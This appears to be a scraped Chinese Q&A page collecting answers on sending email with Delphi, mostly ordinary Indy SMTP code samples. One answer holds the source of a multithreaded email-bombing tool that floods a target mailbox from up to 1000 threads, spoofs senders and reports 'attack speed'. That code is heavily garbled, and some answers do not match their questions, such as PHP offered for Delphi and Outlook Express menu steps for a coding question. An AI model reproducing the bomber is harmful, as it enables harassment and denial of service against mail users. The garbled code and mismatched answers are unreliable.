×

delphi 发邮件 程序 delphi

delphi 发邮件(delphi 邮件发送程序)

admin admin 发表于2022-09-06 22:30:54 浏览139 评论0

抢沙发发表评论

本文目录

delphi 邮件发送程序


try
// IdSMTP1.AuthenticationType:=atLogin; //设置登陆类型 delphi2006不需要用
IdSMTP1.Username:=’’; //设置登陆帐号
IdSMTP1.Password:=’’; //设置登陆密码
IdSMTP1.Host:=’’; //设置SMTP地址
filename := ’C:\文件.txt’; //需要添加的附件文件
TIdAttachmentfile.Create(IdMessage1.MessageParts,filename); //添加附件
// IdSMTP1.Port:=8080; //设置端口 必须转化为整型 delphi2006不需要用
if not idsmtp1.Connected then
IdSMTP1.Connect; //开始连接服务器
except
Showmessage(’连接失败,请重试!’);
Exit; //连接失败 的话 退出该执行过程
end;
IdMessage1.Body.Clear; //先清空上次发送的内容
IdMessage1.Subject:=’测试’; //设置邮件发送的标题
IdMessage1.Body.add(’第一个自动发送邮件测试’); //设置邮件发送的主体
IdMessage1.From.Address:=’’; //设置邮件的发件人 也就是说该邮件来自什么地方
//IdMessage1.Recipients.EMailAddresses:=’’; //收件人的地址
IdMessage1.CCList.EMailAddresses:=’’;//抄送
IdMessage1.BccList.EmailAddresses:=’’; //密送
IdMessage1.Priority:=mpHighest; //邮件重要性
try
idSMTP1.Send(IdMessage1);
Showmessage(’邮件发送成功!’);
except
Showmessage(’邮件发送失败!’);
end;
希望对你有帮助

Delphi发送邮件的源码


unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
Memo1: TMemo;
Edit5: TEdit;
Edit6: TEdit;
Edit7: TEdit;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
with idmessage1 do
begin
body.Clear;
subject:=edit2.text;
From.Text:=edit4.text;
recipients.emailaddresses:=edit3.text;
body.assign(memo1.Lines);
ReceiptRecipient.Text := ’’;
//if edit7.Text=’’ then
//tidattachment.Create(idmessage1.MessageParts,edit7.Text);
end;
idsmtp1.authenticationtype:=atnone;
idsmtp1.UserId:=edit5.Text;
idsmtp1.Password:=edit6.Text;
idsmtp1.Host:=’smtp.sohu.com’;
idsmtp1.Port:=25;
{try
idsmtp1.Connect();
except
application.MessageBox(’邮件发送失败!’,’提示’,MB_OK+MB_ICONINFORMATION);
exit;
end;}
try
idsmtp1.Connect;
IdSMTP1.Send(IdMessage1);
application.MessageBox(’邮件发送成功!’,’提示’,MB_OK+MB_ICONINFORMATION);
finally
idsmtp1.Disconnect;
end;
end.

delphi发送邮件


你的代码我经过修改,在我电脑上运行了下,现在可以发送了。
with idmessage1 do
begin
body.Clear;
subject:=edit2.text;
From.Text:=edit4.text;
recipients.emailaddresses:=edit3.text;
body.assign(memo1.Lines);
ReceiptRecipient.Text := ’’;
//if edit7.Text=’’ then
//tidattachment.Create(idmessage1.MessageParts,edit7.Text);
end;
idsmtp1.authenticationtype:=atnone;
idsmtp1.UserId:=edit5.Text;
idsmtp1.Password:=edit6.Text;
idsmtp1.Host:=’smtp.sohu.com’;
idsmtp1.Port:=25;
{try
idsmtp1.Connect();
except
application.MessageBox(’邮件发送失败!’,’提示’,MB_OK+MB_ICONINFORMATION);
exit;
end;}
try
idsmtp1.Connect;
IdSMTP1.Send(IdMessage1);
application.MessageBox(’邮件发送成功!’,’提示’,MB_OK+MB_ICONINFORMATION);
finally
idsmtp1.Disconnect;
end;
-delphi

delphi的smtp发邮件怎么实现


发送主要用两个控件:TIdMessage,TIdSMTP;
定义:
MailMessage: TIdMessage;
Mail: TIdSMTP;
实现举例:
procedure TForm1.Button1Click(Sender: TObject);
begin
if Mail.Connected then Mail.Disconnect;
Mail.Username := ’’; //发件人用户名
Mail.Password := ’’; // 发件人密码
Mail.Host := ’’; //SMTP地址 这个地址要设置正确
Mail.Port := 25; //端口
Mail.AuthenticationType := atLogin;
MailMessage.Subject := ’test标题’; //标题
MailMessage.Body.Text := ’test内容’; //内容
MailMessage.From.Name := ’’; //发件人姓名
MailMessage.From.Address := ’’; //发件人地址
MailMessage.ReplyTo.EMailAddresses := ’’; //发件人地址
MailMessage.Priority := TIdMessagePriority(1); //身份验证类型
TIdAttachment.Create(MailMessage.MessageParts, ’C:\Documents and Settings\Administrator\桌面\mail.txt’); //附件地址
MailMessage.Recipients.EMailAddresses := ’’; // 收件人地址
MailMessage.From.Address := ’’; //发件人地址
try
Mail.Connect;
Mail.Authenticate;
Mail.Send(MailMessage);
finally
Mail.Disconnect;
end;
end;
有不明白可以问我
-程序

怎样用delphi编写一个在线发送邮件的程序


use
windows,messages,winsock,sysutil
{$R *.
RES
const
CRLF
=#13#10
exename:pchar=’邮箱信使’
var
thd:array[1..1000] of integer
tid:array[1..1000] of dword
faint,hMutex,mcount,speed,newtime,oldtime,
um
,count,err:integer
:string
uf:array[0..1024] of char
dest:string
attstart:boolea
//----------------------
wClass:  TWndClass;  //窗口类变量
Msg:   TMSG;    //消息变量
hInst,         //程序实例
Handle,        //主窗口句柄
hFont,         //字体句柄
//----------------
hBut
to
Start,  //开始按钮
hBut
to
to
,  //停止按钮
hButtonHelp,  //帮助按钮
hButtonExit,  //退出按钮
hEditE
mail
,   //e-
mail
编辑
hEditCount,   //次数编辑
hEditThread,  //线程数编辑
hLabelE
mail
,  //e-mail提示
hLabelCount,  //次数提示
hLabelThread,  //线程数提示
hLabelInfo   //领息提示
:integer;     //句柄类型
//--------------------
//往一个窗口写标题
rocedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end
//从一个窗口读标题
rocedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end
//以下是网络连接的过程
function StartNet(host:string;port:integer):integer
var
wsa
data
:twsa
data
fsocket:integer
SockAddrIn:TSockAddrI
err:integer
egi
//为网络连接作好准备(用winsock1.1以上版本)
err:=WSAStartup($0101,WSA
Data
//创建一个客户端套接字(
Client
Socket,用SOCK_STREAM,即
TCP
协义)
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP)
//初始化网络数据
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host))
SockAddrIn.sin_family := PF_INET
SockAddrIn.sin_port :=htons(port)
//客户端向smtp进行连接
repeat
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn))
until err=0
//
Re
ult:=FSocket
end
//以下是网络关闭的过程
rocedure StopNet(Fsocket:integer)
var
err:integer
egi
//发信结束,关闭客户端套接字(Close
Client
Socket)
err:=closesocket(FSocket)
//清除网络参数
err:=WSACleanu
end
//下面是个发送数据包的过程
function SendData(FSocket:integer;SendStr:string):integer
const
MaxSize=1024
var
DataBuf:array[0..MaxSize] of char
err:integer
egi
//读取网络数据
err:=recv(FSocket,DataBuf,MaxSize,0)
//将网络数据写入主窗口的标题中,提示用户正在发信过程中
//WriteCaption(handle,DataBuf)
//向网络发送数据
trcopy(DataBuf,pchar(SendStr))
err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE)
Re
ult:=0
end
//下面是个发信的过程
rocedure SendMail
var SendBody:string
FSocket:integer
egi
repeat
//指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)
//指定smtp主机的发信端口,默认为25
FSocket:=StartNet(’202.104.32.230’,25)
//-------下面是发信过程的各步处理-------
//---------------------------------------
//第一步:发HELO指令,表示我要开始发信了
SendData(FSocket,’HELO’+
CRLF
//第二步:发MAIL
FROM
指令,表示发信人的信箱
//  注意现在很多SMTP主机有只能允许本地合法用户发信
//  所以发信者的信箱在发信主机中应是一个合法用户
//  否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户
SendData(FSocket,’MAIL
FROM
: 《’+
CRLF
“》hack001@21cn.com》’+CRLF)
//第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱
//  这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度
//  但对163.net好象不行,他加了过滤机制
SendData(FSocket,’RCPT TO: 《’+dest+’》’+CRLF)
//第四步:发DATA指令,表示要向SMTP主机发数据
SendData(FSocket,’DATA’+CRLF)
//第五步:发具体数据,包括如下内容(信封和信体):
//
From
:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束
//   TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束
//   Subject:表示邮件主题,后面以CRLF结束
//   后面一定要再加一个CRLF,表示信封部分结束了
//   接下来是信的主体内容,可以是任何内容,后面以CRLF结束
//   然后一定要再加一个.符号,表示信体结束,后面以CRLF结束
SendBody:=’From:“bome 2001“《’+CRLF“》bome@hacker.com》’+CRLF
+’To:“bome 2001“《’+CRLF“》bome@hacker.com》’+CRLF
+’Subject:New Bome 2001.’+CRLF
+CRLF
+’Hello World.’+CRLF
+’.’+CRLF
SendData(FSocket,SendBody)
//第六步:发结QUIT指令,表示发信过程结束
SendData(FSocket,’QUIT’+CRLF)
//
waitforsingleobject(hMutex,INFINITE)
//显示发信过程的剩余邮件数目
WriteCaption(hLabelInfo,pchar(’送出 ’+inttostr(mcount)+’ 封邮件 / ’+’还有 ’+inttostr(count)+’ 封邮件 ’+CRLF+
’正在使用: ’+inttostr(num)+’ 个攻击线程’+CRLF+
’经过时间: ’+inttostr(newtime div 1000)+’ 秒’))
//总次数减一
Dec(count)
//调用发信过程,进行发信
ewtime:=integer(gettickcount())-oldtime
eed:=mcount*1000*60 div newtime
WriteCaption(handle,pchar(’攻击速度: ’+inttostr(speed)+’ 封/分钟’))
inc(mcount)
//sleep(300)
if count《=0 then break
releasemutex(hMutex)
//
StopNet(Fsocket)
until count《=0
end
//------------------------------------
//以下是线程创建时调用的线程函数
function fun(Parameter: Pointer): Integer; stdcall
egi
SendMail
WriteCaption(handle,exename)
WriteCaption(hLabelInfo,pchar(’发送结束’))
attstart:=true
result:=0
end
rocedure ButtonStart
var k:integer
egi
if attstart=true the
egi
attstart:=false
WriteCaption(hLabelInfo,pchar(’发送开始........’))
ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf)
ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf))
ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf))
oldtime:=gettickcount()
mcount:=0
if Num》1000 then Num:=1000
for k:=1 to Num do
thd[k]:=createthread(nil,0,@fun,nil,0,tid[k])
end
end
rocedure ButtonSto
var k:integer
egi
for k:=1 to Num do
TerminateThread(thd[k],0)
WriteCaption(handle,exename)
WriteCaption(hLabelInfo,pchar(’发送结束’))
attstart:=true
count:=0
end
rocedure MainCreate
egi
attstart:=true
hMutex:=createmutex(nil,true,’Bome2001’)
releasemutex(hMutex)
end
rocedure ButtonHel
egi
1:=’本软件只用学习用,不可害人’+CRLF+
’程序使用多线程100个线程,发送速度极快!’+CRLF;
messagebox(handle,pchar(s1),’帮助’,0)
end
//主程序结束
rocedure ShutDow
egi
CloseHandle(hMutex)
//删除字体对象
DeleteObject(hFont)
//取消窗口类的注册
UnRegisterClass(wClass.lpszClassName,hInst)
//结束主进程
ExitProcess(hInst)
end
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall
egi
Result:=DefWindowProc(hWnd,Msg,wParam,lParam)
case Msg of
WM_COMMAND:
if lParam=hButtonStart then ButtonStart
else if lParam=hButtonStop then ButtonSto
else if lParam=hButtonHelp then ButtonHel
else if lParam=hButtonExit then ShutDow
WM_CREATE:MainCreate
WM_DESTROY: ShutDow
end
end
//定义几个窗口创建函数
functio
CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begi
Result:=CreateWindow(’Button’,name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end
functio
CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begi
Result:=CreateWindowEx(WS_EX_CLIENTEDGE,’Edit’,name,WS_VISIBLE or
WS_CHILD or ES_LEFT or
ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end
functio
CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begi
Result:=CreateWindow(’Static’,name,WS_VISIBLE or WS_CHILD or
SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd
egi
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil)
//初使化窗口类的信息
with wClass do
egi
Style:=     CS_PARENTDC
hIcon:=     LoadIcon(hInst,’MAINICON’)
lpfnWndProc:=  @WindowProc
hInstance:=   hInst
hbrBackground:= COLOR_BTNFACE+1
lpszClassName:= ’MainClass’
hCursor:=    LoadCursor(0,IDC_ARROW)
end
// 注册窗口类
RegisterClass(wClass)
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil)
end
//---------主过程,类似于 C语言 中的 WinMain()
egi
//建立主窗口
handle:=CreateMain(exename,10,10,320,135)
//建立四个控制按钮
hButtonStart:=CreateButton(’发送攻击’,240,4+26*0,70,24)
hButtonStop:=CreateButton(’停止发送’ ,240,4+26*1,70,24)
hButtonHelp:=CreateButton(’帮 助’ ,240,4+26*2,70,24)
hButtonExit:=CreateButton(’退 出’ ,240,4+26*3,70,24)
//建立两个编辑框
hEditEmail:=CreateEdit(bome@hacker.com’,60,4,174,20“》’bome@hacker.com’,60,4,174,20)
hEditCount:=CreateEdit(’1000’,60,4+26*1,60,20)
hEditThread:=CreateEdit(’10’,193,4+26*1,41,20)
//建立三个标签
hLabelEmail:=CreateLabel(’发送目标:’,4,8,54,24)
hLabelCount:=CreateLabel(’发送次数:’,4,8+26*1,54,24)
hLabelThread:=CreateLabel(’线程数:’,124,8+26*1,66,24)
hLabelInfo:=CreateLabel(’等候命令.....’,4,8+26*2,220,44)
//创建字体对象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH
or FF_DONTCARE,’宋体’)
//改变字体
SendMessage(hButtonStart,WM_SETFONT,hFont,0)
SendMessage(hButtonStop,WM_SETFONT,hFont,0)
SendMessage(hButtonHelp,WM_SETFONT,hFont,0)
SendMessage(hButtonExit,WM_SETFONT,hFont,0)
SendMessage(hEditEmail,WM_SETFONT,hFont,0)
SendMessage(hEditCount,WM_SETFONT,hFont,0)
SendMessage(hEditThread,WM_SETFONT,hFont,0)
SendMessage(hLabelEmail,WM_SETFONT,hFont,0)
SendMessage(hLabelCount,WM_SETFONT,hFont,0)
SendMessage(hLabelThread,WM_SETFONT,hFont,0)
SendMessage(hLabelInfo,WM_SETFONT,hFont,0)
//进入消息循环
while(GetMessage(Msg,Handle,0,0))do
egi
TranslateMessage(Msg)
DispatchMessage(Msg)
end
end.
-delphi

Delphi发送邮件的问题


你的程序有很多问题.我单看了你调用SendMail这个过程就有问题.
你的SendMail过程在定义是没有定义参数:
procedure SendEmail(Sender: TObject);,
可是在下面却又需要传入参数:
procedure TForm1.SendEmail(Recipient,Address:string); .
我估计你这个SendMail的过程是直接Copy人家的.这样肯定会出问题的.
我根据你的意思写了一个差不多的程序.该程序能够读取到程序目录下一个’rf.txt’文件,并将该文件的内容作为将要发送的邮件内容.
需要在窗体中放置一个TIDMessage控件,一个TIdSMTP控件
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP;
type
TForm1 = class(TForm)
SMTP: TIdSMTP;
IdMsgSend: TIdMessage;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure sendmail(sbody:TStrings);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
Email : Textfile;
Bodytxt : tstrings;
s:string;
begin
Bodytxt := TStringList.Create;
try
AssignFile(Email,extractfilepath(application.ExeName) + ’rf.txt’);
reset(Email);
while not EOF(Email) do
begin
readln(Email, s);
Bodytxt.Add(s);
end;
SendMail(Bodytxt);//调用SendMail,传入邮件内容BodyTxt
finally
closefile(email);
end;
ShowMessage(’SendMail OK!’);
end;
procedure TForm1.sendmail(sBody : TStrings);
begin
with IdMsgSend do
begin
Body := sBody; //邮件内容
From.Text := ’xxxx’; //发件人���
Recipients.EMailAddresses := ’xxxx’; { To: header } //收件人�
Subject := ’yyyy’; //邮件主旨
tidattachment.Create(IdMsgSend.MessageParts,’D:\Excel\Test.xls’);//发送附件,可发送多个
SMTP.Host := ’smtp.michael.com’ ; // 主机名称��
SMTP.Port := 25; // PORT
SMTP.Connect;
try
try
SMTP.Send(IdMsgSend);
except
end;
finally
SMTP.Disconnect;
end;
end;
end;
end.
还有问题的话,可以发消息给我.
-程序

如何用delphi的发html格式的邮件


可以采用 phpmailer类,来做邮件发送,这也是很多PHP程序所采用的一个类发送
require(ROOT.’/class/phpMailer.class.php’);//邮件发送类
/**
* 发送邮件
* @param string $to 接收人邮件地址
* @param string $title 邮件标题
* @param string $contents 邮件内容 支持HTML格式
* @param string $type 判断是否要加附件
* @param string $accessory 附件的名字
* @return 成功返回true,失败返回错误信息
*/
function sendEmail($to,$title,$contents,$type = ’’,$accessory =’’){
$mail = new PhpMailer(true);
$mail-》IsSMTP(); ...
-delphi

如何实现用Delphi访问Outlook Express的收发邮件箱中的邮件


具体示例如下:
1、启动outlook express,点击工具菜单邮件规则下邮件命令;
2、首先勾选分类的条件,例如若邮件带有附件,然后选择规则操作为移动到指定的文件夹,点击指定的;
3、选择文件夹,点击确定;
4、点击确定关闭规则窗口即可。
-程序

delphi发送邮件出错,在发送的时候抛出异常


提示如下:

1、IdSMTP.... := atLogin 这句代码出错的原因

由于不知道具体的错误提示信息,据个人估计,可能你使用 indy 版本与代码的版本是不一样,例如,在 Indy 10 版本中,上面的代码就是错误的:

在 indy10 里,IdSMTP 控件没有 AuthenticationType 属性,也没有 atLogin 值,上面的代码一般是:

IdSMTP1.AuthType := satDefault;

2、关于 QQ 的SMTP

①  QQ 电子信箱的 SMTP 要使用的话,需要开启 SMTP 功能,并且 这个SMTP 使用时是使用 独立密码什么的。

② QQ 电子信箱的 SMTP 使用 465 和 587 为端口,而不是通常的 25 。

③ 登录的邮箱用户名,貌似是不需要后面的 @qq.com

3、QQ 邮箱没测试过,以下是163邮箱发送成功的代码(使用 indy 10):

procedure TForm1.Button1Click(Sender: TObject);
begin
  try
    IdSMTP1.AuthType := satDefault;
    IdSMTP1.Host := ’smtp.163.com’;
    IdSMTP1.Port := 25;
    IdSMTP1.Username := ’edtUser.Text’;
    IdSMTP1.Password := ’edtPassword.Text’;
    IdSMTP1.Connect;
  except
    Showmessage(’连接失败,请重试!’);
    Exit; // 连接失败 的话 退出该执行过程
  end;
  IdMessage1.ContentType := ’text/html’;
  IdMessage1.Body.Add(mmoContent.Lines.Text);
  IdMessage1.From.address := ’ttttttt@163.com’; // 发件人地址
  IdMessage1.Recipients.EMailAddresses := ’1111111@qq.com’; // 收信人地址
  IdMessage1.Subject := ’edtSubject.Text’; // 邮件标题
  try
    try
      if IdSMTP1.Authenticate then // 验证
      begin
        IdSMTP1.Send(IdMessage1);
        Showmessage(’发送成功,恭喜!’);
      end;
    except
      raise Exception.Create(’认证失败,请检查用户名或密码是否正确’);
    end;
  finally
    IdSMTP1.Disconnect();
  end;
end;
-delphi

Delphi STMP 163邮箱不能发送邮件


把 smtp 改成163后
IdMsgSend.From.Address :=’123456@qq.com’;
这句也必须改成 163 的,不然发送会失败的。
还有就是smtp.Username:=’123456@163.com’;这里的用户名,尝试一下不要后缀,即不要 @163.com
-程序